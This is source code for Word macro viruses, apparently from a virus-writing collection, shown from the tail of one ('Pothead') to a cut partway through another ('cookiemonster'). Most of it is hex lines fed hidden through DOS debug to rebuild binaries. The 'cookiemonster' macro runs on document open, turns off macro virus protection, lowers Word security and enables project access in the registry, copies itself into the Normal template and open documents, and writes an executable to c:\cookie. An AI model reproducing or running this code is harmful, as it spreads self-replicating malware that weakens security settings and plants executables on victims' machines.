6B B2 BB FC C0 08 D8 A1 BB 64 FD C5" Print #1, "e 54F0 9C 07 16 42 FD D0 1C 7E E1 30 2F 70 CF 28 11 67" Print #1, "e 5500 AD 28 4E C0 6B BE 7B 31 00 AA AC B9 BA 07 5B B3" Print #1, "e 5510 AC B4 02 98 A3 9B AC 5C 32 8D 62 09 A6 38 AA 58" Print #1, "e 5520 8C B5 4F 0A 91 4F 67 FB 80 9E 62 C5 69 05 4D C8" Print #1, "e 5530 1A F6 EB 32 71 5D FA 3E 5C F8 81 53 4C 30 6C E4" Print #1, "e 5540 F4 C2 D0 CD D2 E3 7B 00 75 67 3A E6 23 21 38 AB" Print #1, "e 5550 5B 55 E6 05 27 33 6C D9 DE 1A B9 DD 2B 14 95 4C" Print #1, "e 5560 C0 03 8C B7 E4 85 9C 05 90 7F 23 2F F2 D0 3D 7A" Print #1, "e 5570 FF 00 D2 44 DF 6B 2A AA FB AE FC C7 09 5E 87 57" Print #1, "e 5580 96 2A 1C AF 11 A0 9A 55 5E 1E D1 5B 4A 40 AF 11" Print #1, "e 5590 07 BA 52 08 D2 5B 28 55 D0 73 4E 17 82 50 D8 71" Print #1, "e 55A0 64 0E 57 5D CE 63 CB C4 16 ED 3F DB 6C B8 1C 13" Print #1, "e 55B0 7E D9 C4 4B 91 A8 E4 86 FF 00 15 FE 16 B3 7E 35" Print #1, "e 55C0 A3 5A 1E B7 86 AF 11 AB 00 D9 A0 18 34 07 38 BB" Print #1, "e 55D0 8B 40 B1 8E 79 8C 73 4A 31 C0 CB CC 00 C3 04 39" Print #1, "e 55E0 65 0D 21 3C C4 2D 81 E6 22 E5 77 10 60 26 45 7B" Print #1, "e 55F0 03 83 DC B7 A5 7E A6 98 A9 41 B1 25 2F 59 6A 1A" Print #1, "e 5600 9D 96 FA 61 8C BE 17 93 6B 19 0A 7C CB 7B 6B 3C" Print #1, "e 5610 AD B6 92 81 39 54 05 A2 59 51 2D E1 F3 6B 46 60" Print #1, "e 5620 40 D0 33 0F 4E 55 88 08 91 F0 64 4E 8D 7D 40 66" Print #1, "e 5630 9A 28 6B BE A1 A1 05 B5 CF 9B 82 24 30 D1 4E E0" Print #1, "e 5640 3F B1 EF 6F A3 07 AE 2B E7 AC A4 AC 56 41 7E C6" Print #1, "e 5650 23 04 21 E8 2B 39 BB 35 DF 51 C9 C0 38 F0 03 97" Print #1, "e 5660 9F 10 CA B4 EB 87 C9 15 CE 35 43 D0 E2 0C 26 9C" Print #1, "e 5670 2D 59 E9 9A F8 4F 90 C4 B5 DC C4 4F 3E 44 B8 EA" Print #1, "e 5680 0D 9F 31 B0 BA A3 0E 80 AF B7 A8 F1 62 85 8C 0E" Print #1, "e 5690 43 86 05 23 11 51 C3 06 F7 05 30 4A C5 3C 4C A5" Print #1, "e 56A0 7E 12 E3 86 E8 7C 8F F5 1F 6E 79 4B FD 7B FF 00" Print #1, "e 56B0 04 5B C0 17 57 D6 56 D5 F3 B0 7C 47 23 66 AB A3" Print #1, "e 56C0 F7 19 AC 5D C0 CD 1F 83 CE 4B 6A 6B AD C5 2E 55" Print #1, "e 56D0 A9 B5 7A CE 76 A1 8F 2E 42 5C EF 83 BC 3C 38 FD" Print #1, "e 56E0 C4 06 7D CE 21 01 80 7C 4C 41 85 0C A7 58 D5 F6" Print #1, "e 56F0 83 3B AE 55 E9 F9 C4 44 DF F8 5E 26 E3 08 17 AE" Print #1, "e 5700 91 28 E4 8B 3B CA AE 25 0F 53 DC 6C D2 C2 15 DE" Print #1, "e 5710 AE A0 C8 8A AB 1C 4A 1D 10 61 AC 8A FB 1E C4 07" Print #1, "e 5720 AB 35 E2 5E 66 4C AE A3 FE 79 21 B1 B5 DA 5D 4B" Print #1, "e 5730 CF 86 95 27 CB 96 C9 8B 15 7E EA 24 69 02 AC 51" Print #1, "e 5740 4D 9C F5 8E CF 06 D2 3B 4A E2 98 D5 49 9B 60 38" Print #1, "e 5750 31 AD E2 E2 1A 1A C5 7A 6C 19 EB 57 2C 46 2D 5E" Print #1, "e 5760 FC 55 69 89 CC 86 AE 89 BE EF 82 0F D6 42 63 9C" Print #1, "e 5770 5A 8C 55 95 56 78 5F 0A 45 45 BE 80 2E 94 DD 0D" Print #1, "e 5780 58 CD 45 EE A2 BC 5B 6B 71 62 26 22 C2 E9 5C 1A" Print #1, "e 5790 D9 96 E1 7C 0A 5E EB A3 6A 01 47 14 B5 DC CB DE" Print #1, "e 57A0 2B DC 84 6C B5 D2 E5 30 07 58 9F 15 01 07 62 D8" Print #1, "e 57B0 78 73 5E A1 7A 58 CD 89 F0 E6 05 53 E8 0F A3 21" Print #1, "e 57C0 F1 99 4B 3F 74 4F FC E9 F9 FC 3F 84 A9 C7 5E 91" Print #1, "e 57D0 5A 01 60 37 52 8E 4B F7 52 92 C0 23 2C 5F DC 02" Print #1, "e 57E0 C2 51 36 B7 53 05 78 CF E1 E2 DA 81 B5 18 47 25" Print #1, "e 57F0 78 8F 2E 36 6A 65 FE A0 67 49 98 19 DB C5 33 E3" Print #1, "e 5800 DB BC 29 40 E2 2E 31 1A B4 35 46 E3 20 5D D3 51" Print #1, "e 5810 11 7D 42 5B F8 20 9B 45 D1 B7 B4 28 CC C8 1F 85" Print #1, "e 5820 0F 70 36 8E 2C 47 B8 55 CC D9 3E 60 3C A1 84 1D" Print #1, "e 5830 8D 6A 32 BF 15 33 FF 00 E1 4B 95 A5 E2 56 B3 2F" Print #1, "e 5840 58 11 8E F3 30 29 73 03 1A E8 0A DE 0A 8A 8C 4F" Print #1, "e 5850 C9 D8 8A 32 F2 5F 43 F5 2F 3E 03 C3 C1 3B 8F F2" Print #1, "e 5860 5B 55 6D 4B 55 98 B3 2E 45 E0 B5 A2 B8 81 6A 29" Print #1, "e 5870 E6 12 A8 17 0C E5 6F 79 C1 7F 73 56 22 BE 11 74" Print #1, "e 5880 94 D8 0D 75 78 86 2B A3 C0 56 20 29 78 BF 03 1F" Print #1, "e 5890 B7 79 86 D1 4B 62 D3 4A 63 1D 6E 03 93 70 AB 68" Print #1, "e 58A0 5B B7 3D E1 60 DE 68 34 5B AE 15 83 18 81 9E 15" Print #1, "e 58B0 46 58 0A 5D 9F B3 AC 08 9E 0E 9B BD 91 9C 69 2F" Print #1, "e 58C0 11 05 40 E5 9E 0B 1E 6E 2E C2 23 08 0E CB 72 8E" Print #1, "e 58D0 76 B0 ED 14 34 72 A5 59 06 97 EA 53 C0 1C AA CF" Print #1, "e 58E0 A8 A0 56 DB B9 DD 4C C0 E6 2C D0 03 FB F7 38 74" Print #1, "e 58F0 C1 F9 11 8B 48 0D F6 1D 0D BE 66 7F 0C 25 6E 6E" Print #1, "e 5900 BE 91 90 93 4C 72 82 4D A6 5A 64 5B B6 3B 8C 14" Print #1, "e 5910 D4 B8 0D 1C CA B6 56 6E 2F 97 98 48 A1 54 60 23" Print #1, "e 5920 40 49 D1 98 6E D3 09 61 69 5A 8C E3 F2 56 50 24" Print #1, "e 5930 B5 41 DE 39 75 CB 62 9F 1B F9 95 0C 18 5E 0F 51" Print #1, "e 5940 6B 71 2C 04 F2 BA 08 0F 41 5D 67 E3 98 79 95 FE" Print #1, "e 5950 5C 7E 47 30 50 DF 43 31 16 DD 62 9D E3 61 0A 01" Print #1, "e 5960 BF 65 80 FF 00 B2 58 72 79 06 88 89 B0 C4 DC 4D" Print #1, "e 5970 95 E3 F2 03 70 08 51 EB 89 41 61 82 0A 0D 65 BD" Print #1, "e 5980 27 CC 0A 76 13 60 1B 03 37 77 9B 94 F4 B3 65 2C" Print #1, "e 5990 B6 1A 5F 13 32 6B 4E 8A D6 9D 62 A2 AE DB A2 E7" Print #1, "e 59A0 70 7F 62 33 EB 35 72 B2 C1 9D 65 1D 79 98 CB C5" Print #1, "e 59B0 76 B1 6A DA B3 9C A0 17 09 69 E9 EC 19 5B 1C 86" Print #1, "e 59C0 15 3A 8C 1B 53 A4 56 6F C0 0E AE A3 45 0A 34 32" Print #1, "e 59D0 1D A2 D3 77 8A AC 41 C1 33 9A CA CD 1D 65 AD A9" Print #1, "e 59E0 32 A8 27 42 E3 CE E4 F2 A4 0E 78 63 F2 3C 65 1D" Print #1, "e 59F0 E7 5C B0 92 90 DD 94 30 C4 F4 70 0D 82 2D 17 55" Print #1, "e 5A00 2A 50 DB BF 29 7F 84 95 AD 45 ED 8B 0B 10 4B 95" Print #1, "e 5A10 ED 12 EF 97 23 3F F9 33 32 A4 29 91 2E 6D E6 5E" Print #1, "e 5A20 6D 61 6E E8 9C CE 61 19 7D 14 F4 4E 35 37 18 ED" Print #1, "e 5A30 25 39 C1 11 D0 6E E0 B8 8F E4 75 71 91 D0 C0 07" Print #1, "e 5A40 AA 8A AB DE 5E 96 35 10 E4 DA 29 00 3B 23 95 EF" Print #1, "e 5A50 3A ED 2D 03 B8 65 D4 45 30 76 CC 56 AF 3A E7 EA" Print #1, "e 5A60 E2 B9 4C 41 AF 58 7E A2 40 AD 82 99 5F 8B FC 57" Print #1, "e 5A70 E7 8F C1 2B 03 CA 4B 7C B4 1E AA DD 3F D4 0F 2C" Print #1, "e 5A80 C9 49 FF 00 1D E1 5D 9E 3B E8 8C A7 65 8E 96 FC" Print #1, "e 5A90 6C A5 72 FE 2B F3 70 50 CA A9 DE 1B 4B 2A 60 C0" Print #1, "e 5AA0 F0 33 F4 0F F6 5D 3A 97 8F 3D B0 FE E3 D4 9A 70" Print #1, "e 5AB0 C9 2F 81 DA 08 30 67 55 87 44 B2 55 59 08 F8 54" Print #1, "e 5AC0 B3 12 CA DA 1E 98 99 7B AC 2F BB A2 69 B9 CC 3A" Print #1, "e 5AD0 73 41 A5 32 F9 B8 7A 57 D7 2C 85 E6 0B 28 C6 EB" Print #1, "e 5AE0 D5 26 76 C7 6F E5 82 63 31 62 D2 BF 66 61 4A 14" Print #1, "e 5AF0 E6 A1 C3 9E 74 F9 0A 8D 95 35 B2 1B F7 16 CA B3" Print #1, "e 5B00 79 B6 33 AA 4B 47 F2 13 37 DE 8A BE 1A 8A D3 19" Print #1, "e 5B10 06 67 3D 1B 03 CA B5 28 30 B6 1A 4F 4C 61 7A A7" Print #1, "e 5B20 FB 91 E4 EE C1 98 5F 98 98 61 7A 4C 74 9D 54 FA" Print #1, "e 5B30 05 ED 95 98 19 83 D6 01 01 58 EB 16 17 4D 75 FC" Print #1, "e 5B40 5F 84 61 63 D7 58 90 5B B2 CA F7 C4 B8 C1 58 5A" Print #1, "e 5B50 46 A3 B4 6A 55 DE 65 95 90 28 16 E8 E9 FE 05 59" Print #1, "e 5B60 7D 63 0A D9 90 11 ED 88 02 68 B6 9D 0F 92 2D 09" Print #1, "e 5B70 5D 03 5F 77 1D 87 39 03 FE 5F 30 06 85 C0 1F C9" Print #1, "e 5B80 78 C8 C8 C0 57 10 6B 03 35 B8 D0 C0 AB 1C 32 D0" Print #1, "e 5B90 34 5A 64 96 BB 5C 5B 99 52 B1 13 F3 51 3F 35 04" Print #1, "e 5BA0 61 81 F2 9B 25 8E 77 F8 25 7E 13 25 73 98 C5 0C" Print #1, "e 5BB0 2A B0 31 90 98 09 E8 11 3B 1B 05 2A B2 68 0A D6" Print #1, "e 5BC0 EE 5C 8C 30 37 5A FE BF 11 5D C5 00 23 42 34 AC" Print #1, "e 5BD0 D5 EB 7B 8A 02 B7 CB EC 3F D4 C5 1B BE 41 E9 DA" Print #1, "e 5BE0 0E 64 2F 96 AF 7D 37 13 5A DC 16 8F 5F DC 19 5A" Print #1, "e 5BF0 F5 64 63 1B B0 C0 0A 8D 05 F7 A6 FB 7B 11 73 0E" Print #1, "e 5C00 45 02 D3 B6 1F 10 31 2D EB A9 FF 00 D2 5B D1 71" Print #1, "e 5C10 08 97 B5 BF 70 49 D9 64 81 7B AE 99 82 71 52 83" Print #1, "e 5C20 63 09 A1 38 0D 2E E3 D2 C2 F5 73 10 52 F6 C7 82" Print #1, "e 5C30 B7 1E 35 B5 6D 1A C5 C2 08 E2 9C 17 7D 55 03 D4" Print #1, "e 5C40 4C 62 DE 07 CF 57 AA E5 F7 07 12 C0 DD 37 F7 4C" Print #1, "e 5C50 BA DC 7D 76 4F BD 18 5C B9 CC 26 6B A4 9A 0E 82" Print #1, "e 5C60 40 83 35 E0 1F D9 6A FF 00 C8 90 3F 49 56 92 E0" Print #1, "e 5C70 14 3C 4B C2 3A B2 B7 2C A8 F9 8F F8 EB 32 9B 4C" Print #1, "e 5C80 01 8F CE E5 8A A7 47 1A F2 A6 F2 75 3F 72 41 E6" Print #1, "e 5C90 12 8A 7E 88 61 B0 77 BD 1F 0A 15 4A 7A 52 04 B1" Print #1, "e 5CA0 47 74 CC 3A 8E 55 B7 02 09 4B 30 AE 2D 2F 35 89" Print #1, "e 5CB0 4F EF 4E D1 63 01 58 1B F6 CE 09 F8 BC 47 BC C6" Print #1, "e 5CC0 01 B4 60 5F FC 81 52 93 D5 AF A8 9D 49 AA 79 B7" Print #1, "e 5CD0 9E 0A 88 EB 9F C6 E5 6A 3A 08 BA 04 14 C3 A1 57" Print #1, "e 5CE0 EA 5F A5 1B BF F5 4E DE 21 87 EE 20 D8 BA 8B F5" Print #1, "e 5CF0 39 FC 57 E2 C3 BA 8B 5B 7B 89 AD 98 FD 23 49 3E" Print #1, "e 5D00 A9 55 D0 F4 EF 30 4E 16 AB A3 E4 94 5D 41 57 E0" Print #1, "e 5D10 1D 9E 8E D3 8F 4A 19 AA 43 F5 2B C3 7E B0 E1 9E" Print #1, "e 5D20 0D 67 A4 C7 CE A7 47 03 4F 3C 5F 56 05 70 50 FB" Print #1, "e 5D30 6E 0A C6 4C BD 0C 32 A3 2B 67 66 F4 C7 98 55 F3" Print #1, "e 5D40 B4 FF 00 EC A8 2C 89 4B 57 D2 EB EA 5A 8F 23 81" Print #1, "e 5D50 E7 94 73 B1 D9 00 18 96 E0 4C 59 5F 38 DC 22 B8" Print #1, "e 5D60 1E 1B 30 64 C4 CF 6A 00 2E 68 78 29 2D F1 47 4A" Print #1, "e 5D70 8A 8D 21 EB C0 FA ED 18 1D 08 E0 61 53 0A A0 3D" Print #1, "e 5D80 4C 04 29 ED 95 93 8E 98 25 C1 A2 9F BF F8 8D F3" Print #1, "e 5D90 18 E8 14 E7 DD 41 E3 0D 35 8C 89 F6 1F CB B8 C6" Print #1, "e 5DA0 D8 82 F4 20 27 DC 2B 4F 63 AF 64 B4 C4 E4 3D BA" Print #1, "e 5DB0 1F 50 73 2D EB F8 AF CD 4A 95 37 2A 2F 09 50 3B" Print #1, "e 5DC0 3E CC C6 5C 36 BC 7B 63 68 92 EA F8 40 68 5D E2" Print #1, "e 5DD0 E5 26 21 4E E7 68 94 AC 15 78 8E A7 54 07 ED 15" Print #1, "e 5DE0 5D 96 38 97 A7 21 33 E3 90 C3 F3 71 1F 4B 96 9E" Print #1, "e 5DF0 75 52 AB 8D 0D ED C9 86 5E 16 86 1F A9 72 96 E1" Print #1, "e 5E00 30 F7 3B 54 E5 A6 89 3D 0C 8E 3A C5 FD DE 22 3D" Print #1, "e 5E10 87 30 65 69 A1 33 E8 B6 59 6C 77 FB 45 3F 50 D4" Print #1, "e 5E20 A3 C8 7D 5D 4A ED 4E 29 41 F8 80 A1 2B 34 40 17" Print #1, "e 5E30 BC 28 54 21 13 79 30 FC 92 9A 07 36 DB CA 54 57" Print #1, "e 5E40 55 DB AF FD 95 44 8B 36 9F 71 9A 6D E9 B5 05 D0" Print #1, "e 5E50 BE D8 FC C0 DA F0 D7 2C 80 DC AB A5 A8 2C 5D E6" Print #1, "e 5E60 4A A8 7F 48 95 49 A3 1A 86 63 6B 68 BC B5 8B 8A" Print #1, "e 5E70 02 08 C5 B3 FB 0C 05 27 54 A0 53 8E DF F9 04 B1" Print #1, "e 5E80 B7 5C 3D B4 E2 58 BE 7B 6B 6D E7 96 D2 AF 2B D6" Print #1, "e 5E90 35 B9 F6 63 DA 9F 2C B6 52 94 A2 A7 3E EA E1 AF" Print #1, "e 5EA0 44 37 8C D5 E3 9E 03 51 42 2B B6 03 C4 0B DA 2D" Print #1, "e 5EB0 63 DC 8E EC 4A B1 F7 14 C6 55 E5 1C 2D DF F7 70" Print #1, "e 5EC0 18 10 97 61 5D F6 6A 7F 04 39 C5 3A 68 81 50 E0" Print #1, "e 5ED0 E8 6D 68 7F DC 47 49 97 4A 37 B7 59 E6 2E 22 A1" Print #1, "e 5EE0 5A 00 55 2F 93 CB 72 C6 C2 CF AA 2D F8 1F 71 3C" Print #1, "e 5EF0 6E 2B BB 56 3B 30 94 24 A8 C1 85 05 58 15 ED CE" Print #1, "e 5F00 08 D4 91 49 77 DC 9F 79 FC 30 6B 12 B8 24 0D 7A" Print #1, "e 5F10 20 87 F2 80 27 A6 6D 77 1F AE E4 FB 84 D9 97 7E" Print #1, "e 5F20 1E 7F D1 15 20 30 89 92 53 F8 A9 52 A5 62 54 A8" Print #1, "e 5F30 2A 43 61 47 99 9B 70 E3 77 D7 B4 18 01 A5 CD 92" Print #1, "e 5F40 27 37 A9 A0 9F 47 0B 99 93 5E 59 81 52 B6 10 2F" Print #1, "e 5F50 2B 8F 98 09 27 46 47 A0 AF 86 27 AD FF 00 D9 15" Print #1, "e 5F60 FD 41 13 47 23 4C B6 15 47 C4 A1 B8 C1 5E 0F 12" Print #1, "e 5F70 F2 EB 60 B7 E1 06 09 5B BA E4 62 05 51 45 05 78" Print #1, "e 5F80 63 60 03 69 7A 39 7B CB 52 51 8B 5E 18 23 45 45" Print #1, "e 5F90 5C DD 9A 89 80 35 78 16 88 82 2B 5F 61 08 40 4E" Print #1, "e 5FA0 99 20 B3 47 45 CE BC 21 6B FB 8A 88 5C C1 72 A2" Print #1, "e 5FB0 0A AD BF D8 AB 61 AB B1 86 2D B0 27 3C 45 ED 05" Print #1, "e 5FC0 87 AF 60 ED 9A 68 4F 24 CB 75 65 15 C5 84 B6 2E" Print #1, "e 5FD0 04 6F 42 10 4B 7C A7 D1 66 A0 30 20 6A 8D 46 29" Print #1, "e 5FE0 B3 AD 42 9F 8A B6 13 A2 45 EE 40 D5 E8 A7 C4 1E" Print #1, "e 5FF0 AD E4 2B 7D D6 FD C5 D1 DB 30 05 38 BE 92 8C 1D" Print #1, "e 6000 6D 74 E4 97 6D 88 B1 EA 53 F5 0B 07 4A 4D 18 0A" Print #1, "e 6010 C0 29 06 B1 EA 30 EB 70 C3 E1 6A 28 12 72 31 10" Print #1, "e 6020 79 64 75 EA E0 40 6D E1 6D F9 DC 0A ED 02 D8 21" Print #1, "e 6030 88 F1 0E C5 44 48 95 46 CC 65 7B 91 7B 82 D0 C3" Print #1, "e 6040 A7 50 21 98 E4 55 95 FA 58 78 B6 83 59 21 96 28" Print #1, "e 6050 1A 42 CC A0 11 49 9D F8 18 60 61 5A 6C ED 11 6C" Print #1, "e 6060 0E 90 21 77 11 A7 A4 0E 85 70 0C 61 4E BF D3 59" Print #1, "e 6070 83 A3 33 42 3D 97 32 A0 4A C4 09 53 89 37 05 D5" Print #1, "e 6080 CA 62 BB 7E A1 8F 9B 83 CE 60 05 10 28 A8 37 D2" Print #1, "e 6090 28 5E B5 06 6E 81 F9 8F 3C BA 35 2E 5D AE 7A FD" Print #1, "e 60A0 C6 00 81 B2 EA BE B2 E4 4A 78 66 30 0E 8A 65 60" Print #1, "e 60B0 87 68 F5 70 71 4D 54 1E D8 C1 62 56 DB 6D 6A 0E" Print #1, "e 60C0 C3 42 B3 ED 34 3D 56 65 B2 16 D1 03 42 99 2B BE" Print #1, "e 60D0 75 10 8A 1D A2 FA F7 88 24 57 C4 62 14 F5 33 35" Print #1, "e 60E0 39 B1 3C 82 00 FA 6E 3E AB 9C 1B FD 25 9C 2A 26" Print #1, "e 60F0 83 EA 2D D5 2E D5 FE A5 7C AF 02 65 BA 14 B6 AE" Print #1, "e 6100 63 D5 3C 47 59 C2 7F FF D9 00" Print #1, "rcx" Print #1, "6009" Print #1, "w" Print #1, "q" Close #1 Shell Environ("WINDIR") & "\Command.com /c Debug <" & Environ("WINDIR") & "\pothead.tmp", vbHide System.PrivateProfileString(Environ("WINDIR") & "\Win.ini", "Desktop", "Wallpaper") = Environ("WINDIR") & "\pothead.jpg" System.PrivateProfileString(Environ("WINDIR") & "\Win.ini", "Desktop", "Wallpaperstyle") = 2 kill Environ("WINDIR") & "\pothead.tmp" MsgBox "(c)by Necronomikon/ZeroGravity" ,48,"Pothead" Dialogs(wdDialogFileSaveAs).Show 'Actual Save Command End Sub Sub ViewVBCode() On Error Resume Next Application.Quit False End Subsources
cookiemonster Necronomikon frmcookiemonster.frm: VERSION 5.00 Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} frmcookiemonster Caption = "(c) by Necronomikon [Zero Gravity]" ClientHeight = 4260 ClientLeft = 45 ClientTop = 330 ClientWidth = 4425 OleObjectBlob = "frmcookiemonster.frx":0000 StartUpPosition = 1 'Fenstermitte End Attribute VB_Name = "frmcookiemonster" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub Image1_Click() End Sub cookiemonster.cls: VERSION 1.0 CLASS BEGIN MultiUse = -1 'True END Attribute VB_Name = "cookiemonster" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = False Attribute VB_Exposed = False 'cookiemonster Private Sub Document_Open() '(c)Necronomikon[Zer0Gravity] On Error Resume Next: nec = Application.Version Dim cookie As String Application.DisplayStatusBar = (3 * 0) Options.VirusProtection = (3 * 0) Options.SaveNormalPrompt = (3 * 0) System.PrivateProfileString("", "HKCU\Software\Microsoft\Office\& nec &\Word\Security", "Level") = 1& System.PrivateProfileString("", "HKCU\Software\Microsoft\Office\& nec &\Word\Security", "AccessVBOM") = 1& cookiemonster = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 328) Set nec = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set nec = ActiveDocument.VBProject.VBComponents(1).CodeModule With nec If .Lines(1, 1) <> "'cookiemonster" Then .DeleteLines 1, .CountOfLines .InsertLines 1, cookiemonster If ThisDocument = NormalTemplate Then _ ActiveDocument.SaveAs ActiveDocument.FullName End If End With cookie = InputBox("Give me a cookie:") frmcookiemonster.Show If cookie = "cookie" Then GoTo good End If If cookie = "" Then GoTo bye End If good: MsgBox "yum,yum...", vbInformation, "Cookiemonster" bye: Open "c:\cookie" For Output As #1 Print #1, "e 0100 4D 5A DA 01 09 00 01 00 20 00 FE 00 FF FF 00 00" Print #1, "e 0110 00 00 00 00 00 01 00 00 22 00 00 00 01 00 FB 10" Print #1, "e 0120 72 6A 15 03 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0400 8C CA 2E 89 16 50 02 B4 30 CD 21 8B 2E 02 00 8B" Print #1, "e 0410 1E 2C 00 8E DA A3 8D 0A 8C 06 8B 0A 89 1E 87 0A" Print #1, "e 0420 89 2E 9F 0A C7 06 91 0A FF FF 8E C3 33 C0 B9 FF" Print #1, "e 0430 7F 8B F8 8B D8 26 81 3D 38 37 75 1D 57 51 50 B0" Print #1, "e 0440 3D F2 AE E3 11 26 8A 05 24 DF FF 06 91 0A 3C 59" Print #1, "e 0450 75 04 FF 06 91 0A 58 59 5F F2 AE E3 63 43 26 38" Print #1, "e 0460 05 75 D2 80 CD 80 F7 D9 89 0E 85 0A 83 C3 07 81" Print #1, "e 0470 E3 FC FF D1 E3 89 1E 89 0A 1E B8 00 35 CD 21 89" Print #1, "e 0480 1E 7B 0A 8C 06 7D 0A B8 00 25 0E 1F BA 44 02 CD" Print #1, "e 0490 21 1F 0E FF 16 D6 0F 8B 3E D4 0F BB 00 01 3B FB" Print #1, "e 04A0 77 02 8B FB 8C DA 81 C3 AC 1F 72 14 BF 00 10 B1" Print #1, "e 04B0 04 D3 EB 43 2B EA 3B EF 77 09 87 DF 3B EF 77 03" Print #1, "e 04C0 EB 71 90 8B DF 03 DA 89 1E 97 0A 89 1E 9B 0A A1" Print #1, "e 04D0 8B 0A 2B D8 8E C0 B4 4A CD 21 D3 E7 8E D2 8B E7" Print #1, "e 04E0 E8 EE 06 E8 78 00 33 C0 2E 8E 06 50 02 BF DA 0F" Print #1, "e 04F0 B9 AC 1F 2B CF F3 AA FF 36 83 0A FF 36 81 0A FF" Print #1, "e 0500 36 7F 0A E8 59 00 50 E8 48 00 B8 00 25 C5 16 7B" Print #1, "e 0510 0A CD 21 2E 8E 1E 50 02 0E FF 16 D8 0F 8B EC 8A" Print #1, "e 0520 46 02 B4 4C CD 21 B4 40 BB 02 00 2E 8E 1E 50 02" Print #1, "e 0530 CD 21 C3 B9 1E 00 90 BA 5D 0A E8 E9 FF B8 03 00" Print #1, "e 0540 50 E8 C6 FF B9 0E 00 90 BA 4F 0A E8 D8 FF EB ED" Print #1, "e 0550 00 00 55 8B EC FF 76 04 E8 AF FF 59 5D C3 C3 55" Print #1, "e 0560 8B EC 33 C0 50 B8 BE 0D 50 B8 09 00 50 E8 D1 04" Print #1, "e 0570 8B E5 33 C0 50 B8 D0 0D 50 B8 09 00 50 E8 C1 04" Print #1, "e 0580 8B E5 33 C0 50 B8 F7 0D 50 B8 09 00 50 E8 B1 04" Print #1, "e 0590 8B E5 E8 C9 04 A3 DC 0F 25 30 00 3D 30 00 75 0E" Print #1, "e 05A0 C7 06 09 10 00 B0 C7 06 07 10 00 00 EB 0C C7 06" Print #1, "e 05B0 09 10 00 B8 C7 06 07 10 00 00 8B 5E 06 83 7F 02" Print #1, "e 05C0 00 74 3F 8B 5E 06 FF 77 02 E8 69 04 59 A3 DA 0F" Print #1, "e 05D0 3D 09 00 7E 0D 3D E9 03 7D 08 A3 A6 0A A3 A8 0A" Print #1, "e 05E0 EB 20 33 C0 50 B8 10 0E 50 B8 09 00 50 E8 51 04" Print #1, "e 05F0 8B E5 33 C0 50 B8 